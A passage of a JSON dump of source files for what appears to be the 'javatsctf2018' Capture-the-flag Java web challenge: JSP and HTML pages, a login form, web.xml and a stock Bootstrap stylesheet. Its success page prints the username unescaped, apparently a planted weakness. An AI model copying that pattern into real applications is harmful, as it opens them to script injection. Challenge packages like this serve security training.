  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/success.jsp",
    "content": "\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<html>\n<head>\n    <title>success</title>\n</head>\n<body>\n    <h1>登陆成功</h1>\n${username}\n</body>\n</html>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/views/404.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta http-equiv=\"refresh\" content=\"3;URL=/index.html\">\n    <meta charset=\"UTF-8\">\n    <title>404</title>\n</head>\n<body>\n404\n<br>\n3秒自动跳转\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/views/500.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Title</title>\n</head>\n<body>\n\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/views/login/login.html",
    "content": "<!DOCTYPE html>\n<html xmlns:c=\"http://www.w3.org/1999/XSL/Transform\">\n<head>\n    <title>TSCTF2018</title>\n</head>\n<body>\n<c:if test=\"${!empty error}\">\n    <font color=\"red\">\n        <c:out value=\"${error}\"/>\n    </font>\n</c:if>\n<form action=\"<c:url value=\" loginCheck.html\n\"/>\" method=\"post\">\n用户名：\n<input type=\"text\" name=\"userName\">\n<br>\n密 码：\n<input type=\"password\" name=\"password\">\n<br>\n<input type=\"submit\" value=\"登录\"/>\n<input type=\"reset\" value=\"重置\"/>\n</form>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app version=\"2.5\"\n         xmlns=\"http://java.sun.com/xml/ns/javaee\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee\n\t        http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\">\n\n\n    <!--配置Spring容器-->\n    <context-param>\n        <param-name>contextConfigLocation</param-name>\n        <param-value>classpath:spring/ApplicationContext-*.xml</param-value>\n    </context-param>\n    <listener>\n        <listener-class>\n            org.springframework.web.context.ContextLoaderListener\n        </listener-class>\n    </listener>\n\n    <!--配置springMVC-->\n    <servlet>\n        <servlet-name>springmvc</servlet-name>\n        <servlet-class>\n            org.springframework.web.servlet.DispatcherServlet\n        </servlet-class>\n        <init-param>\n            <param-name>contextConfigLocation</param-name>\n            <param-value>classpath:spring/sprintmvc.xml</param-value>\n        </init-param>\n        <load-on-startup>1</load-on-startup>\n    </servlet>\n\n    <servlet-mapping>\n        <servlet-name>default</servlet-name>\n        <url-pattern>*.js</url-pattern>\n        <url-pattern>*.css</url-pattern>\n        <url-pattern>/css/*\"</url-pattern>\n        <url-pattern>/js/*\"</url-pattern>\n        <url-pattern>/bootstrap3.3.5/*</url-pattern>\n    </servlet-mapping>\n\n    <servlet-mapping>\n        <servlet-name>springmvc</servlet-name>\n        <url-pattern>/</url-pattern>\n    </servlet-mapping>\n    <!-- Encoding -->\n    <filter>\n        <filter-name>encodingFilter</filter-name>\n        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>\n        <init-param>\n            <param-name>encoding</param-name>\n            <param-value>UTF-8</param-value>\n        </init-param>\n        <init-param>\n            <param-name>forceEncoding</param-name>\n            <param-value>true</param-value>\n        </init-param>\n    </filter>\n    <filter-mapping>\n        <filter-name>encodingFilter</filter-name>\n        <url-pattern>/*</url-pattern>\n    </filter-mapping>\n    <error-page>\n        <error-code>404</error-code>\n        <location>/WEB-INF/views/404.html</location>\n    </error-page>\n</web-app>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/bootstrap3.3.5/css/bootstrap-theme.css",
    "content": "/*!\n * Bootstrap v3.3.5 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, .2);\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075);\n}\n.btn-default:active,\n.btn-primary:active,\n.btn-success:active,\n.btn-info:active,\n.btn-warning:active,\n.btn-danger:active,\n.btn-default.active,\n.btn-primary.active,\n.btn-success.active,\n.btn-info.active,\n.btn-warning.active,\n.btn-danger.active {\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn-default.disabled,\n.btn-primary.disabled,\n.btn-success.disabled,\n.btn-info.disabled,\n.btn-warning.disabled,\n.btn-danger.disabled,\n.btn-default[disabled],\n.btn-primary[disabled],\n.btn-success[disabled],\n.btn-info[disabled],\n.btn-warning[disabled],\n.btn-danger[disabled],\nfieldset[disabled] .btn-default,\nfieldset[disabled] .btn-primary,\nfieldset[disabled] .btn-success,\nfieldset[disabled] .btn-info,\nfieldset[disabled] .btn-warning,\nfieldset[disabled] .btn-danger {\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn-default .badge,\n.btn-primary .badge,\n.btn-success .badge,\n.btn-info .badge,\n.btn-warning .badge,\n.btn-danger .badge {\n  text-shadow: none;\n}\n.btn:active,\n.btn.active {\n  background-image: none;\n}\n.btn-default {\n  text-shadow: 0 1px 0 #fff;\n  background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%);\n  background-image:      -o-linear-gradient(top, #fff 0%, #e0e0e0 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0));\n  background-image:         linear-gradient(to bottom, #fff 0%, #e0e0e0 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #dbdbdb;\n  border-color: #ccc;\n}\n.btn-default:hover,\n.btn-default:focus {\n  background-color: #e0e0e0;\n  background-position: 0 -15px;\n}\n.btn-default:active,\n.btn-default.active {\n  background-color: #e0e0e0;\n  border-color: #dbdbdb;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n  background-color: #e0e0e0;\n  background-image: none;\n}\n.btn-primary {\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #265a88 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #265a88 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #245580;\n}\n.btn-primary:hover,\n.btn-primary:focus {\n  background-color: #265a88;\n  background-position: 0 -15px;\n}\n.btn-primary:active,\n.btn-primary.active {\n  background-color: #265a88;\n  border-color: #245580;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n  background-color: #265a88;\n  background-image: none;\n}\n.btn-success {\n  background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%);\n  background-image:      -o-linear-gradient(top, #5cb85c 0%, #419641 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641));\n  background-image:         linear-gradient(to bottom, #5cb85c 0%, #419641 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #3e8f3e;\n}\n.btn-success:hover,\n.btn-success:focus {\n  background-color: #419641;\n  background-position: 0 -15px;\n}\n.btn-success:active,\n.btn-success.active {\n  background-color: #419641;\n  border-color: #3e8f3e;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n  background-color: #419641;\n  background-image: none;\n}\n.btn-info {\n  background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n  background-image:      -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2));\n  background-image:         linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #28a4c9;\n}\n.btn-info:hover,\n.btn-info:focus {\n  background-color: #2aabd2;\n  background-position: 0 -15px;\n}\n.btn-info:active,\n.btn-info.active {\n  background-color: #2aabd2;\n  border-color: #28a4c9;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n  background-color: #2aabd2;\n  background-image: none;\n}\n.btn-warning {\n  background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n  background-image:      -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316));\n  background-image:         linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #e38d13;\n}\n.btn-warning:hover,\n.btn-warning:focus {\n  background-color: #eb9316;\n  background-position: 0 -15px;\n}\n.btn-warning:active,\n.btn-warning.active {\n  background-color: #eb9316;\n  border-color: #e38d13;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n  background-color: #eb9316;\n  background-image: none;\n}\n.btn-danger {\n  background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n  background-image:      -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a));\n  background-image:         linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #b92c28;\n}\n.btn-danger:hover,\n.btn-danger:focus {\n  background-color: #c12e2a;\n  background-position: 0 -15px;\n}\n.btn-danger:active,\n.btn-danger.active {\n  background-color: #c12e2a;\n  border-color: #b92c28;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n  background-color: #c12e2a;\n  background-image: none;\n}\n.thumbnail,\n.img-thumbnail {\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, .075);\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n  background-color: #e8e8e8;\n  background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n  background-image:      -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8));\n  background-image:         linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n  background-repeat: repeat-x;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  background-color: #2e6da4;\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n  background-repeat: repeat-x;\n}\n.navbar-default {\n  background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%);\n  background-image:      -o-linear-gradient(top, #fff 0%, #f8f8f8 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8));\n  background-image:         linear-gradient(to bottom, #fff 0%, #f8f8f8 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075);\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .active > a {\n  background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n  background-image:      -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2));\n  background-image:         linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);\n  background-repeat: repeat-x;\n  -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075);\n}\n.navbar-brand,\n.navbar-nav > li > a {\n  text-shadow: 0 1px 0 rgba(255, 255, 255, .25);\n}\n.navbar-inverse {\n  background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%);\n  background-image:      -o-linear-gradient(top, #3c3c3c 0%, #222 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222));\n  background-image:         linear-gradient(to bottom, #3c3c3c 0%, #222 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-radius: 4px;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .active > a {\n  background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n  background-image:      -o-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f));\n  background-image:         linear-gradient(to bottom, #080808 0%, #0f0f0f 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);\n  background-repeat: repeat-x;\n  -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25);\n          box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25);\n}\n.navbar-inverse .navbar-brand,\n.navbar-inverse .navbar-nav > li > a {\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, .25);\n}\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  border-radius: 0;\n}\n@media (max-width: 767px) {\n  .navbar .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #fff;\n    background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n    background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n    background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));\n    background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n    background-repeat: repeat-x;\n  }\n}\n.alert {\n  text-shadow: 0 1px 0 rgba(255, 255, 255, .2);\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05);\n}\n.alert-success {\n  background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n  background-image:      -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc));\n  background-image:         linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #b2dba1;\n}\n.alert-info {\n  background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n  background-image:      -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0));\n  background-image:         linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #9acfea;\n}\n.alert-warning {\n  background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n  background-image:      -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0));\n  background-image:         linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #f5e79e;\n}\n.alert-danger {\n  background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n  background-image:      -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3));\n  background-image:         linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #dca7a7;\n}\n.progress {\n  background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n  background-image:      -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5));\n  background-image:         linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar {\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #286090 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #286090 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-success {\n  background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n  background-image:      -o-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44));\n  background-image:         linear-gradient(to bottom, #5cb85c 0%, #449d44 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-info {\n  background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n  background-image:      -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5));\n  background-image:         linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-warning {\n  background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n  background-image:      -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f));\n  background-image:         linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-danger {\n  background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n  background-image:      -o-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c));\n  background-image:         linear-gradient(to bottom, #d9534f 0%, #c9302c 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-striped {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.list-group {\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, .075);\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n  text-shadow: 0 -1px 0 #286090;\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #2b669a 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #2b669a;\n}\n.list-group-item.active .badge,\n.list-group-item.active:hover .badge,\n.list-group-item.active:focus .badge {\n  text-shadow: none;\n}\n.panel {\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, .05);\n}\n.panel-default > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n  background-image:      -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8));\n  background-image:         linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-primary > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-success > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n  background-image:      -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6));\n  background-image:         linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-info > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n  background-image:      -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3));\n  background-image:         linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-warning > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n  background-image:      -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc));\n  background-image:         linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-danger > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n  background-image:      -o-linear-gradient(top, #f2dede 0%, 